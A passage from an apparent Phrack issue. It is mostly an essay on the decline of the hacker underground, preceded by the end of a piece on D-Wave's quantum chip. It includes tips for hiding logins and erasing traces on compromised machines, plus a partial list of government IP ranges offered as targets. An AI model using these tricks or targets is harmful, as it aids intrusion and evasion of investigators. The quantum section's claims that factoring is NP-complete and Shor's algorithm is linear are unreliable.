Qbits engine, using superconductiong electronics. Previous tries to do quantum computers were made previously, none of them known to have more than 3 or 4 Qbits. D-Wave also pretends being able to scale that number of Qbits up to 1024 in 2008 ! That fact made a lot of people in scientific area skeptic about the claims of D-Wave. The US National Aeronautics and Space Administration (commonly known as NASA) confirmed to the press that they've built the special chip for D-Wave conforming their specifications. [2] Now, how does the chip works ? D-Wave hasn't released that much details about the internals of their chip. They have chosen the superconductor because it makes easier to exploit quantum mechanics. When atoms are very cold (approaching the 0K), they transform themselves into superconducting atoms. They have special characteristics, including the fact their electrons get a different quantum behaviur. In the internals, the chips contains 16 Qbits arranged in a 4x4 grid, each Qbit being coupled with its four immediate neighbors and some in the diagonals. [3] The coupling of Qbits is what gives them their power : a Qbit is believed to be at two states at same time. When coupling two Qbits, the combination of their state contains four states, and so on. The more Qbits are coupled together, the more possible number of states they have, and when working an algorithm on them, you manipulate all of their states at once, giving a very important performance boost. By its nature, it may even help to resolve NP-Complete problems, that is, problems that cannot be resolved by polynomial algorithms (we think of large sudoku maps, multivariate polynomial systems, factoring large integers ...). Not coupling all of their Qbits makes their chip easier to build and to scale, but their 16Qbits computer is not equal to the theoretical 16 Qbits computers academics and governments are trying to build for years. The impact of this news to the world is currently minimal. Their chips currently work slower than a low-range personal computer and costs thousands of dollars, but maybe in some years it will become a real solution for solving NP problems. The NP problem that most people involved in security know is obviously the factoring of large numbers. We even have a proof that it exists a *linear* algorithm to factorize a multiple of two large integers, it is named Shor's algorithm. It means when we'll have the hardware to run it, factorizing a 1024 bits RSA private key will only take two times the time needed to factorize a 512 bits key. It completely destroys the security of the public cryptography as we know it now. Unfortunaly, we have no information on which known quantum algorithms run on D-Wave computer, and D-Wave made no statement about running Shor's algorithm on their beast. Also, no claim have been given letting us think the chip could break RSA. And for sure, NSA experts probably already studied the situation (in the case they don't already own their own quantum computer). References: [1] http://www.dwavesys.com/index.php?page=quantum-computing [2] http://www.itworld.com/Tech/3494/070309nasaquantum/index.html [3] http://arstechnica.com/articles/paedia/hardware/quantum.ars ==Phrack Inc.== Volume 0x0c, Issue 0x40, Phile #0x04 of 0x11 |=-----------------------------------------------------------------------=| |=-------------=[ A brief history of the Underground scene ]=------------=| |=-----------------------------------------------------------------------=| |=-----------------------------------------------------------------------=| |=-------------------=[ Duvel ]=-----------------=| |=-------------------=[ for ]=-----------------=| |=-------------------=[ The Circle of Lost Hackers ]=-----------------=| |=-------------------=[ ]=-----------------=| |=-----------------------------------------------------------------------=| --[ Contents 1. Introduction 2. The security paradox 3. Past and present Underground scene 3.1. A lack of culture and respect for ancient hackers 3.2. A brief history of Phrack 3.3. The current zombie scene 4. Are security experts better than hackers? 4.1. The beautiful world of corporate security 4.2. The in-depth knowledge of security conferences 5. Phrack and the axis of counter attacks 5.1. Old idea, good idea 5.2. Improving your hacking skills 5.3. The Underground yellow pages 5.4. The axis of knowledge 5.4.1. New Technologies 5.4.2. Hidden and private networks 5.4.3. Information warfare 5.4.4. Spying System 6. Conclusion --[ 1. Introduction "It's been a long long time, I kept this message for you, Underground But it seems I was never on time Still I wanna get through to you, Underground..." I am sure most of you know and love this song (Stir it Up). After all, who doesn't like a Bob Marley song? The lyrics of this song fit very well with my feeling : I was never on time but now I'm ready to deliver you the message. So what is this article about? I could write another technical article about an eleet technique to bypass a buffer overflow protection, how to inject my magical module in the kernel, how to reverse like an eleet or even how to make a shellcode for a not-so-famous OS. But I won't. There are some other people who can do it much better than I could. But it is the reason not to write a technical article. The purpose of this article is to launch an SOS. An SOS to the scene, to everyone, to all the hackers in the world. To make all the next releases of Phrack better than ever before. And for this I don't need a technical article. I need what I would call Spirit. Do you know what I mean by the word spirit? --[ 2. The security paradox. There is something strange, really strange. I always compare the security world with the drug world. Take the drugs world, on the one side you have all the "bad" guys: cartels, dealers, retailers, users... On the other side, you have all the "good" guys: cops, DEA, pharmaceutical groups creating medicines against drugs, president of the USA asking for more budget to counter drugs... The main speech of all these good guys is : "we have to eradicate drugs!". Well, why not. Most of us agree. But if there is no more drugs in the world, I guess that a big part of the world economy would fall. Small dealers wouldn't have the money to buy food, pharmaceutical groups would loose a big part of their business, DEA and similar agencies wouldn't have any reason to exist. All the drugs centers could be closed, banks would loose money coming from the drugs market. If you take all thoses things into consideration, do you think that governments would want to eradicate drugs? Asking the question is probably answering it. Now lets move on to the security world. On the one side you have a lot of companies, conferences, open source security developers, computer crime units... On the other side you have hackers, script kiddies, phreackers.... Should I explain this again or can I directly ask the question? Do you really think that security companies want to eradicate hackers? To show you how these two worlds are similar, lets look at another example. Sometimes, you hear about the cops arrested a dealer, maybe a big dealer. Or even an entire cartel. "Yeah, look ! We have arrested a big dealer ! We are going to eradicate all the drugs in the world!!!". And sometimes, you see a news like "CCU arrests Mafiaboy, one of the best hacker in the world". Computer crime units and DEA need publicity - they arrest someone and say that this guy is a terrorist. That's the best way to ask for more money. But they will rarely arrest one of the best hackers in the world. Two reasons. First, they don't have the intention (and if they would, it's probably to hire him rather than arrest him). Secondly, most of the Computer Crime Units don't have the knowledge required. This is really a shame, nobody is honest. Our governments claim that they want to eradicate hackers and drugs, but they know if there were no more hackers or drugs a big part of the world economy could fall. It's again exactly the same thing with wars. All our presidents claim that we need peace in the world, again most of us agree. But if there are no more wars, companies like Lockheed Martin, Raytheon, Halliburton, EADS, SAIC... will loose a huge part of their markets and so banks wouldn't have the money generated by the wars. The paradox relies in the perpetual assumption that threat is generated from abuses where in fact it might comes from inproper technological design or money driven technological improvement where the last element shadows the first. And when someone that is dedicated enough digs it, we have a snowball effect, thus every fish in the pound at one time or an other become a part of it. And as you can see, this paradox is not exclusive to the security industry/underground or even the computer world, it could be considered as the gold idol paradox but we do not want to get there. In conclusion, the security world need a reason to justify its business. This reason is the presence of hackers or a threat (whatever hacker means), the presence of an hackers scene and in more general terms the presence of the Underground. We don't need them to exist, we exist because we like learning, learning what we are not supposed to learn. But they give us another good reason to exist. So if we are "forced" to exist, we should exist in the good way. We should be well organized with a spirit that reflect our philosophy. Unfortunately, this spirit which used to characterized us is long gone... --[ 3. Past and Present Underground scene The "scene", this is a beautiful word. I am currently in a country very far away from all of your countries, but it is still an industrialized country. After spending some months in this country, I found some old-school hackers. When I asked them how the scene was in their country, they always answered the same thing: "like everywhere, dying". It's a shame, really a shame. The security world is getting larger and larger and the Underground scene is dying. I am not an old school hacker. I don't have the pretension to claim it I would rather say that I have some old-school tricks or maybe that my mind is old-school oriented, but that's all. I started to enjoy the hacking life more or less 10 years ago. And the scene was already dying. When I started hacking, like a lot of people, I have read all the past issues of Phrack. And I really enjoyed the experience. Nowadays, I'm pretty sure that new hackers don't read old Phrack articles anymore. Because they are lazy, because they can find information elsewhere, because they think old Phracks are outdated... But reading old Phracks is not only to acquire knowledge, it's also to acquire the hacking spirit. ----[ 3.1 A lack of culture and respect for ancient hackers How many new hackers know the hackers history? A simple example is Securityfocus. I'm sure a lot of you consult its vulnerabilities database or some mailing list. Maybe some of you know Kevin Poulsen who worked for Securityfocus for some years and now for Wired. But how many of you know his history? How many knew that at the beginning of the 80's he was arrested for the first time for breaking into ARPANET? And that he was arrested a lot more times after that as well. Probably not a lot (what's ARPANET after all...). It's exactly the same kind of story with the most famous hacker in the world: Kevin Mitnick. This guy really was amazing and I have a total respect for what he did. I don't want to argue about his present activity, it's his choice and we have to respect it. But nowadays, when new hackers talk about Kevin Mitnick, one of the first things I hear is : "Kevin is lame. Look, we have defaced his website, we are much better than him". This is completely stupid. They have probably found a stupid web bug to deface his website and they probably found the way to exploit the vulnerability in a book like Hacking Web Exposed. And after reading this book and defacing Kevin's website, they claim that Kevin is lame and that they are the best hackers in the world... Where are we going? If these hackers could do a third of what Kevin did, they would be considered heroes in the Underground community. Another part of the hacking culture is what some people name "The Great Hackers War" or simply "Hackers War". It happened 15 years ago between probably the two most famous (best?) hackers group which had ever existed: The Legion of Doom and Master of Deception. Despite that this chapter of the hacking history is amazing (google it), what I wonder is how many hackers from the new generation know that famous hackers like Erik Bloodaxe or The Mentor were part of these groups. Probably not a lot. These groups were mainly composed of skilled and talented hackers/phreackers. And they were our predecessor. You can still find their profiles in past issues of Phrack. It's still a nice read. Let's go for another example. Who knows Craig Neidorf? Nobody? Maybe Knight Lightning sounds more familiar for you... He was the first editor in chief of Phrack with Taran King, Taran King who called him his "right hand man". With Taran King and him, we had a lot of good articles, spirit oriented. So spirit oriented that one article almost sent him to jail for disclosing a confidential document from Bell South. Fortunately, he didn't go in jail thanks to the Electronic Frontier Foundation who preached him. Craig wrote for the first time in Phrack issue 1 and for the last time in Phrack issue 40. He is simply the best contributor that Phrack has ever had, more than 100 contributions. Not interesting? This is part of the hacking culture. More recently, in the 90's, an excellent "magazine" (it was more a collection of articles) called F.U.C.K. (Fucked Up College Kids) was made by a hacker named Jericho... Maybe some new hackers know Jericho for his work on Attrition.org (that's not sure...), but have you already taken time to check Attrition website and consult all the good work that Jericho and friends do? Did you know that Jericho wrote excellent Phrack World News under the name Disorder 10 years ago (and trust me his news were great) ? Stop thinking that Attrition.org is only an old dead mirror of web site defacements, it's much more and it's spirit oriented. Go ask Stephen Hawking if knowing the scientific story is not important to understand the scientific way/spirit... Do you think that Stephen doesn't know the story of Aristotle, Galileo, Newton or Einstein ? To help wannabe hackers, I suggest that they read "The Complete History of Hacking" or "A History of Computer Hacking" which are very interesting for a first dive in the hacking history and that can easily be found with your favorite search engine. Another good reading is the interview of Erik Bloodaxe in 1994 (http://www.eff.org/Net_culture/Hackers/bloodaxe-goggans_94.interview) where Erik said something really interesting about Phrack: "I, being so ridiculously nostalgic and sentimental, didn't want to see it (phrack) just stop, even though a lot of people always complain about the content and say, "Oh, Phrack is lame and this issue didn't have enough info, or Phrack was great this month, but it really sucked last month." You know, that type of thing. Even though some people didn't always agree with it and some people had different viewpoints on it, I really thought someone needed to continue it and so I kind of volunteered for it." It's still true... ----[ 3.2 A brief history of Phrack Let's go for a short hacking history course and let's take a look at old Phracks where people talked about the scene and what hacking is. Phrack 41, article 1: --------------------- "The type of public service that I think hackers provide is not showing security holes to whomever has denied their existence, but to merely embarrass the hell out of those so-called computer security experts and other purveyors of snake oil." This is true, completely true. This is closely related to what I said before. If there are no hackers, there are no security experts. They need us. And we need them. (We are family) Phrack 48, article 2: --------------------- At the end of this article, there is the last editorial of Erik Bloodaxe. This editorial is excellent, everyone should read it. I will just reproduce some parts here: "... The hacking subculture has become a mockery of its past self. People might argue that the community has "evolved" or "grown" somehow, but that is utter crap. The community has degenerated. It has become a media-fueled farce. The act of intellectual discovery that hacking once represented has now been replaced by one of greed, self-aggrandization and misplaced post-adolescent angst... If I were to judge the health of the community by the turnout of this conference, my prognosis would be "terminally ill."..." And this was in 1996. If we ask to Erik Bloodaxe now what he thinks about the current scene, I'm pretty sure he would say something like: "irretrievable" or "the hacking scene has reached a point of no return". "...There were hundreds of different types of systems, hundreds of different networks, and everyone was starting from ground zero. There were no public means of access; there were no books in stores or library shelves espousing arcane command syntaxes; there were no classes available to the layperson. ..." Have you ever heard of a "hackademy"? Nowadays, if you want to be a hacker it's really easy. Just go to a hacker school and they will teach you some of the more eleet tricks in the world. That's the new hacker way. "Hacking is not about crime. You don't need to be a criminal to be a hacker. Hanging out with hackers doesn't make you a hacker any more than hanging out in a hospital makes you a doctor. Wearing the t-shirt doesn't increase your intelligence or social standing. Being cool doesn't mean treating everyone like shit, or pretending that you know more than everyone around you." So what is hacking? My point of view is that hacking is a philosophy, a philosophy of life that you can apply not only to computers but to a lot of things. Hacking is learning, learning computers, networks, cryptology, telephone systems, spying system and agencies, radio, what our governments hide... Actually all non-conventional subjects or what could also be called a third eye view of the context. "There are a bunch of us who have reached the conclusion that the "scene" is not worth supporting; that the cons are not worth attending; that the new influx of would-be hackers is not worth mentoring. Maybe a lot of us have finally grown up." Here's my answer to Erik 10 years later: "No Eric, you hadn't finally grown up, you were right." Erik already sent an SOS 10 years ago and nobody heard it. Phrack 50, article 1: --------------------- "It seems, in recent months, the mass media has finally caught onto what we have known all along, computer security _IS_ in fact important. Barely a week goes by that a new vulnerability of some sort doesn't pop up on CNN. But the one thing people still don't seem to fathom is that _WE_ are the ones that care about security the most... We aren't the ones that the corporations and governments should worry about... We are not the enemy." No, we are not the enemy. But a lot of people claim that we are and some people even sell books with titles like "Know your enemy". It's probably one of the best ways to be hated by a lot of hackers. Don't be surprised if there are some groups like PHC appearing after that. Phrack 55, article 1: --------------------- Here I will show you the arrogance of the not-so-far past editor, answering some comments: "...Yeah, yeah, Phrack is still active you may say. Well let me tell you something. Phrack is not what it used to be. The people who make Phrack are not Knight Lightning and Taran King, from those old BBS days. They are people like you and me, not very different, that took on themselves a job that it is obvious that is too big for them. Too big? hell, HUGE. Phrack is not what it used to be anymore. Just try reading, let's say, Phrack 24, and Phrack 54..." And the editor replied (maybe Route): "bjx of "PURSUiT" trying to justify his `old-school` ezine. bjx wrote a riveting piece on "Installing Slackware" article. Fear and respect the lower case "i"". This is a perfect example of how the Underground scene has grown up in the last few years. We can interpret editor's answer like "I'm writing some eleet articles and not you, so I don't have to take into consideration your point of view". But it was a really pertinent remark. Phrack 56, article 1: ------------------------------ Here is another excellent example to show you the arrogance of the Underground scene. Again, it's an answer to a comment from someone: "...IMHO it hasn't improved. Sure, some technical aspects of the magazine have improved, but it's mostly a dry technical journal these days. The personality that used to characterize Phrack is pretty much non-existant, and the editorial style has shifted towards one of `I know more about buffer overflows than you` arrogance. Take a look at the Phrack Loopback responses during the first 10 years to the recent ones. A much higher percentage of responses are along the lines of `you're an idiot, we at Phrack Staff are much smarter than you.`..." And the reply: " - Trepidity apparently still bitter at not being chosen as Mrs. Phrack 2000." IMHO, Trepidity's remark was probably the best remark for a long long time. Let's stop this little history course. I have showed you that I'm not alone in my reflection and that there is something wrong with the current disfunctional scene. Some people already thought this 10 years ago and I know that a lot of people are currently thinking exactly the same thing. The scene is dying and its spirit is flying away. I'm not Erik Bloodaxe, I'm not Voyager or even Taran King ... I'm just me. But I would like to do something like 15 years ago, when the word hacking was still used in the noble sense. When the spirit was still there. We all need to react together or the beast will eat whats left of the spirit. ----[ 3.3 The current zombie scene "A dead scene whose body has been re-animated but whose the spirit is lacking". I'm not really aware of every 'groups' in the world. Some people are much more connected than me. And to be honest, I knew the scene better 5 years ago than I do now. But I will try to give you a snapshot of what the current scene is. Forgive me in advance for the groups that I will forget, it's really difficult to have an accurate snapshot. The best way to have a snapshot of the current scene is probably to use an algorithm like HITS which allow to detect a web community. But unfortunately I don't have time to implement it. So the current scene for me is like a pyramid and it's organized like secret societies. I would like to split hackers groups in 3 categories. In order to not give stupid names to these groups I will call them layer 1 group, layer 2 group and layer 3 group. In the layer 1, 5 years ago, you had some really "famous" groups which were, I think, composed of talented people. I will split this layer into two categories: front-end groups and back-end groups. Some of the groups I called front-end are: TESO, THC, w00w00, Phenoelit or Hert. Back-end groups include ADM, Synergy, ElectronicSouls or Devhell. And you also have PHC that you can include in both categories (you know guys you have your entry in Wikipedia!). And at the top of that (but mainly at the top of PHC) you had obscure/eleet groups like AB. In the layer 2, I would like to include a lot of groups of less scale but I think which are trying to do good stuff. Generally, these groups have no communication with layer 1 groups. These groups are: Toxyn, Blackhat.be, Netric, Felinemenace, S0ftpj (nice mag), Nettwerked (congratulation for the skulls image guys!), Moloch, PacketWars, Eleventh Alliance, Progenic, HackCanada, Blacksecurity, Blackclowns or Aestetix. You can still split these groups into two categories, front-end and back-end. Back-end are Toxyn or Blackat.be, others probably front-end. Beside these groups, you have a lot of wannabe groups that I'd like to include in layer 3, composed of new generation of hackers. Some of these groups are probably good and I'm sure that some have the good hacking spirit, but generally these groups are composed of hackers who learned hacking in a school or by reading hackers magazine that they find in library. When you see a hacker arrested in a media, he generally comes from one of these unknown groups. 20 years ago, cops arrested hackers like Kevin Mitnick (The Condor), Nahshon Even-Chaim (Phoenix, The Realm), Mark Abene (Phiber Optik, Legion of Doom) or John Lee (Corrupt, Master of Deception), now they arrest Mafia Boy for a DDOS... There are also some (dead) old school groups like cDc, Lopht or rhino9, independent skilled guys like Michal Zalewski or Silvio Cesare, research groups like Lsd-pl and Darklab and obscure people like GOBBLES, N3td3v or Fluffy Bunny :-) And of course, I don't forget people who are not affiliated to any groups. You can also find some central resources for hackers or phreackers like Packetstorm or Phreak.org, and magazine oriented resources like Pull the Plug or Uninformed. In this wonderful world, you can find some self proclaimed eleet mailing list like ODD. We can represent all these groups in a pyramid. Of course, this pyramid is not perfect. So don't blame me if you think that your groups is not in the good category, it's just a try. The Underground Pyramid _ / \ / \ / \ / \ / \ <-- More eleet hackers in / \ / \ the world. Are you in? / -(o)- \ / / \ \ / \ / \ /_____________________\ / \ <-- skilled hackers / AB, Fluffy Bunny, ... \ hacking mainly /___________________________\ for fun / | | | \ / PHC | TESO | ADM | cDc \ <-- Generally / EL8 | THC | Synergy | Lopht \ excellent skills / GOBBLES| WOOWOO| Devhell | rhino9 \ some groups have / ... | ... | ... | .... \ the good spirit /_______________________________________\ / | \ / Blackhat.be | HackCanada \ <-- good skills, / Toxyn | Felinemenace \ some are / ... | Netric \ very / | ... \ original /___________________________________________________\ / \ / WANABEE GROUPS \ <-- newbies /_________________________________________________________\ / \ <-- info / Resources: 2600,Phrack, PacketStorm, Phreak.org, Uniformed, \ for / PTP, ... \ all /_________________________________________________________________\ All of these people make up the current scene. It's a big mixture between white/gray/black hats, where some people are white hat in the day and black hat at night (and vice-versa). Sometimes there are communication between them, sometimes not. I also have to say that it's generally the people from layer 1 groups who give talks to security conferences around the world... It's really a shame that PHC is probably the best ambassador of the hacking spirit. Their initiative was great and really interesting. Moreover they are quite funny. But IMHO, they are probably a little too arrogant to be considered like an old spirit group. Actually, the bad thing is that all these people are more or less separate and everyone is fighting everyone else. You can even find some hackers hacking other hackers! Where is the scene going? Even if you are technically very good, do you have to say to everyone that you are the best one and naming others as lamerz? The new hacker generation will never understand the hacking spirit with this mentality. Moreover the majority of hackers are completely disinterested by alternate interesting subjects addressed for example in 2600 magazine or on Cryptome website. And this is really a shame because these two media are publishing some really good information. Most hackers are only interested by pure hacking techniques like backdooring, network exploitation, client vulnerabilities... But for me hacking is closely related to other subjects like those addressed on Cryptome website. For example the majority of hackers don't know what SIPRnet is. There is only one reference in Phrack, but there are several articles about SIPRnet in 2600 magazine or on Cryptome website. When I want to discuss about all these interesting subjects it's really difficult to find someone in the scene. And to be honest the only people that I can find are people away from the scene. The majority of hackers composing the groups I mentioned above are not interested by these subjects (as far as I know). Old school hackers in 80's or 90's were more interested by alternated subjects than the new generation. In conclusion, firstly we have to get back the old school hacking spirit and afterwards explain to the new generation of hackers what it is. It's the only way to survive. The scene is dying but I won't say that we can't do anything. We can do something. We must do something. It's our responsibility. --[ 4 Are security experts better than hackers? STOP!!!!! I do not want to say that security experts are better than hackers. I don't think they are, but to be honest it's not really important. It's nonsense to ask who is better. The best guy, independent from the techniques he used, is always the most ingenious. But there are two points that I would like to develop. ----[ 4.1 The beautiful world of corporate security I met a really old school hacker some months ago, he told me something very pertinent and I think he was right. He told me that the technology has really changed these last years but that the old school tricks still work. Simply because the people working for security companies don't really care about security. They care more about finding a new eleet technique to attack or defend a system and presenting it to a security conference than to use it in practice. So Underground, we have a problem. A major problem. 15 years ago, there were a lot of people working for the security industry. At times, there also were a lot of people working in what I will call the Underground scene. No-one can estimate the percentage in each camp, but I would say it was something like 60% working in security and 40% working in the Underground scene. It was still a good distribution. Nowadays, I'm not sure it's still true. A better estimation should be 80/20 orientated to security or maybe even worse... There are increasingly more and more people working for the security world than for the Underground scene. Look at all these "eleet" security companies like ISS, Core Security, Immunity, IDefense, eEye, @stake, NGSSoftware, Checkpoint (!), Counterpane, Sabre Security, Net-Square, Determina, SourceFire...I will stop here otherwise Google will make some publicity for these companies. All these security companies have hired and still hire some hackers, even if they will say that they don't. Sometimes, they don't even know they hired a hacker. How many past Phrack writers work for these companies? My guess is a lot, really a lot. After all, you can't stop a hacker if you have never been one... You'll tell me: "that's normal, everyone has to eat". Yeah, that's true. Everyone has to eat. I'm not talking about that. What I don't like (even if we do need these good and bad guys) is all the stuff around the security world: conferences, (false) alerts, magazines, mailing lists, pseudo security companies, pseudo security websites, pseudo security books... Can you tell me why there is so much security related stuff and not so much Underground related stuff? --[ 4.2 The in-depth knowledge of security conferences If you have a look at all the topics addressed in a security conference, it's amazing. Take the most famous conferences: *Blackhat, *SecWest or even Defcon (I mention only marketing conferences, there are others good conferences that are less corporate/business oriented like CCC, PH neutral, HOPE or WTH). Now look at the talks given by the speakers, they're really good. When I went to a security conference 5 years ago it was so funny, I was saying to my friends: "these guys are 5 years late". It was true then but I think it's not true anymore. They are probably still late, but not as late as they were. But the most relevant point for me is that recently there have been a lot of very interesting subjects. OK not everything was interesting - there were some shit subjects too. What I would consider as interesting subjects are those related to new technologies (VOIP, WEB 2.0, RFID, BlackBerry, GPS...) or original topics like hardware hacking, BlackOps, agency relationships, SE story, bioinfo attack, nanotech, PsyOp... What the Fuck ?!#@?! 10 years ago, all the original topics were released in an Underground magazine like Phrack or 2600. Not in a security conference where you have to pay more than $1000. This is not my idea of what hacking should be. Do you really need publicity like this to feel good? This is not hacking. I'm not talking here about the core but the form. When I'm coding something at home all night and in the morning it works, it's really exciting. And I don't have to say to everyone "look at what I did!". Especially not in public where people have to pay more than $1000 to hear you. Another incredible thing about these security conferences is what I would call the "conference circuit". Nowadays, if you are a security expert, the trend is to give the same talk at different security conferences around the world. More than 50% of all security experts are doing this. They go in America at BlackHat, Defcon and CanSecWest, after they move in Europe and they finish in Asia or Australia. They can even do BlackHat America, BlackHat Europe and BlackHat Asia! Like Roger Federer or Tiger Woods, they try to do the Grand Slam! So you can find a conference given in 2007 which is more or less the same than one in 2005. Thus it seems we have now a new profession in our wonderful security world: "conferences runner" ! Last funny thing is the number of conferences that I will include in the category "How to hack the system XXX". For example at the last Blackhat USA there was a conference on how to hack an embedded device, for example printers and copiers. Despite the fact that it's interesting (collecting document printed), what I find funny is the fact that you just have to hack a non conventional device to be at Blackat or Defcon. So, I will give some good advice to hackers who want to become famous: try to hack the coffee machine used by the FBI or the embedded device used by the lift of the Pentagon and everyone will see you as a hero or a terrorist (thats context based). --[ 5. Phrack and the axis of counter-attack Now that I have given you an overview of the security world, let's try to see how we can change it. There are two possibilities here. The first one is this:- I say to you "OK now that you really understand the problem, it's definitely time to change our mentality. This is the new mind set that we have to adopt". It's a little bit pretentious to say this though. Nobody can solve the problem alone and pretend to bring the good solution. So I guess that the first possibility won't work. People will agree but nobody will do anything. The second possibility is to start with Phrack. All the people who make up The Circle of Lost Hackers agree that Phrack should come back to its past style when the spirit was present. We really agree with the quote above which said that Phrack is mainly a dry technical journal. It's why we would like to give you some idea that can bring back to Phrack its bygone aura. Phrack doesn't belong to a group a people, Phrack belongs to everyone, everyone in the Underground scene who want to bring something for the Underground. After all, Phrack is a magazine made by the community for the community. We would like to invite everyone to give their point of view about the current scene and the orientation that Phrack should take in the future. We could compile a future article with all your ideas. ----[ 5.1. Old idea, good idea If you take a look at the old Phrack, there are some recurring articles : * Phrack LoopBack * Line noise * Phrack World News * Phrack Prophiles * International scenes Here's something funny about Phrack World News, if you take a look at Phrack 36 it was not called "Phrack World News" but instead it was "Elite World News"... So, all these articles were and are interesting. But in these articles, we would like to resuscitate the last one: "International scenes". A first essay is made in this issue, but we would like people to send us a short description of their scene. It could be very interesting to have some descriptions of scenes that are not common, for example the China scene, the Brazilian scene, the Russian scene, the African scene, the Middle East scene... But of course we are also interested in the more classic scenes like Americas, GB, France, Germany, ... Everything is welcome, but hackers all over the world are not only hackers in Europe-Americas, we're everywhere. And when we talk about the Underground scene, it should include all local scenes. ----[ 5.2. Improving your hacking skills Here we would like to start a new kind of article. An article whose purpose is to give to the new generation of hackers some different little tricks to hack "like an eleet". This article will be present in every new issue (at least until it's dead ... we hope not soon). The idea is to ask to everyone to send us their tricks when they hack something (it could be a computer or not). The tricks should be explained in no more than 30 lines, and it could even be one line. It could be an eleet trick or something really simple but useful. Example: An almost invisible ssh connection ---------------------------------- In the worse case if you have to ssh on a box, do it every time with no tty allocation ssh -T user@host If you connect to a host with this way, a command like "w" will not show your connection. Better, add 'bash -i' at the end of the command to simulate a shell ssh -T user@host /bin/bash -i Another trick with ssh is to use the -o option which allow you to specify a particular know_hosts file (by default it's ~/.ssh/know_hosts). The trick is to use -o with /dev/null: ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash -i With this trick the IP of the box you connect to won't be logged in know_hosts. Using an alias is a good idea. Erasing a file -------------- In the case of you have to erase a file on a owned computer, try to use a tool like shred which is available on most of Linux. shred -n 31337 -z -u file_to_delete -n 31337 : overwrite 313337 times the content of the file -z : add a final overwrite with zeros to hide shredding -u : truncate and remove file after overwriting A better idea is to do a small partition in RAM with tmpfs or ramdisk and storing all your files inside. Again, using an alias is a good idea. The quick way to copy a file ---------------------------- If you have to copy a file on a remote host, don't bore yourself with an FTP connection or similar. Do a simple copy and paste in your Xconsole. If the file is a binary, uuencode the file before transferring it. A more eleet way is to use the program 'screen' which allows copying a file from one screen to another: To start/stop : C-a H or C-a : log And when it's logging, just do a cat on the file you want to transfer. Changing your shell ------------------- The first thing you should do when you are on an owned computer is to change the shell. Generally, systems are configured to keep a history for only one shell (say bash), if you change the shell (say ksh), you won't be logged. This will prevent you being logged in case you forget to clean the logs. Also, don't forget 'unset HISTFILE' which is often useful. Some of these tricks are really stupid and for sure all old school hackers know them (or don't use them because they have more eleet tricks). But they are still useful in many cases and it should be interesting to compare everyone's tricks. ----[ 5.3. The Underground yellow pages Another interesting idea is to maintain a list of all the interesting IP ranges in the world. This article will be called "Meaningful IP ranges". We have already started to scan all the class A and B networks. What is really interesting is all the IP addresses of agencies which are supposed to spy us. Have a look at this site: http://www.milnet.com/iagency.htm However we don't have to focus our list on agencies, but on everything which is supposed to be the power of the world. It includes: * All agencies of a country (China, Russia, UK, France, Israel...) * All companies in a domain, for example all companies related to private secret service or competitive intelligence or financial clearing or private army (dyncorp, CACI, MPRI, Vinnel, Wackenhut, ...) * Companies close to government (SAIC, Dassault, QinetiQ, Halliburton, Bechtel...) * Spying business companies (AT&T, Verizon, VeriSign, AmDocs, BellSouth, Top Layer Networks, Narus, Raytheon, Verint, Comverse, SS8, pen-link...) * Spoken Medias (Al Jazeera, Al Arabia, CNN, FOX, BBC, ABC, RTVi, ...) * Written Medias or press agencies (NY/LA Times, Washington Post, Guardian, Le monde, El Pais, The Bild, The Herald, Reuters, AFP, AP, TASS, UPI...) * All satellite maintainers (Intelsat, Eurosat, Inmarsat, Eutelsat, Astra...) * Suspect investment firms (Carlyle, In-Q-Tel...) * Advanced research centers (DARPA, ARDA/DTO, HAARP...) * Secret societies, fake groups and think-tanks (The Club of Rome, The Club of Berne, Bilderberg, JASON group, Rachel foundation, CFR, ERT, UNICE, AIPAC, The Bohemian Club, Opus Dei, The Chatman House, Church of Scientology...) * Guerilla groups, rebels or simply alternative groups (FARC, ELN, ETA, KKK, NPA, IRA, Hamas, Hezbolah, Muslim Brothers...) * Ministries (Defense, Energy, State, Justice...) * Militaries or international polices (US Army, US Navy, US Air Force, NATO, European armies, Interpol, Europol, CCU...) * And last but not least: HONEYPOT! It's obvious that not all ranges can be obtained. Some agencies are registered under a false name in order to be more discrete (what about ENISA, the European NSA?), others use some high level systems (VPN, tor ...) on top of normal networks or simply use communication systems other than the Internet. But we would like to keep the most complete list we can. But for this we need your help. We need the help of everyone in the Underground who is ready to share knowledge. Send us your range. We started to scan the A and B range with a little script we made, but be sure that the more interesting range are in class C. Here is a quick start of the list : 11.0.0.0 - 11.255.255.255 : DoD Network Information Center 144.233.0.0 - 144.233.255.255 : Defense Intelligence Agency 144.234.0.0 - 144.234.255.255 : Defense Intelligence Agency 144.236.0.0 - 144.236.255.255 : Defense Intelligence Agency 144.237.0.0 - 144.237.255.255 : Defense Intelligence Agency 144.238.0.0 - 144.238.255.255 : Defense Intelligence Agency 144.239.0.0 - 144.239.255.255 : Defense Intelligence Agency 144.240.0.0 - 144.240.255.255 : Defense Intelligence Agency 144.241.0.0 - 144.241.255.255 : Defense Intelligence Agency 144.242.0.0 - 144.242.255.255 : Defense Intelligence Agency 162.45.0.0 - 162.45.255.255 : Central Intelligence Agency 162.46.0.0 - 162.46.255.255 : Central Intelligence Agency 130.16.0.0 - 130.16.255.255 : The Pentagon 134.11.0.0 - 134.11.255.255 : The Pentagon 134.152.0.0 - 134.152.255.255 : The Pentagon 134.205.0.0 - 134.205.255.255 : The Pentagon 140.185.0.0 - 140.185.255.255 : The Pentagon 141.116.0.0 - 141.116.255.255 : Army Information Systems Command-Pentagon 6.0.0.0 - 6.255.255.255 : DoD Network Information Center 128.20.0.0 - 128.20.255.255 : U.S. Army Research Laboratory 128.63.0.0 - 128.63.255.255 : U.S. Army Research Laboratory 129.229.0.0 - 129.229.255.255 : United States Army Corps of Engineers 131.218.0.0 - 131.218.255.255 : U.S. Army Research Laboratory 134.194.0.0 - 134.194.255.255 : DoD Network Information Center 134.232.0.0 - 134.232.255.255 : DoD Network Information Center 137.128.0.0 - 137.128.255.255 : U.S. ARMY Tank-Automotive Command 144.252.0.0 - 144.252.255.255 : DoD Network Information Center 155.8.0.0 - 155.8.255.255 : DoD Network Information Center 158.3.0.0 - 158.3.255.255 : Headquarters, USAAISC 158.12.0.0 - 158.12.255.255 : U.S. Army Research Laboratory 164.225.0.0 - 164.225.255.255 : DoD Network Information Center 140.173.0.0 - 140.173.255.255 : DARPA ISTO 158.63.0.0 - 158.63.255.255 : Defense Advanced Research Projects Agency 145.237.0.0 - 145.237.255.255 : POLFIN ( Ministry of Finance Poland) 163.13.0.0 - 163.32.255.255 : Ministry of Education Computer Center Taiwan 168.187.0.0 - 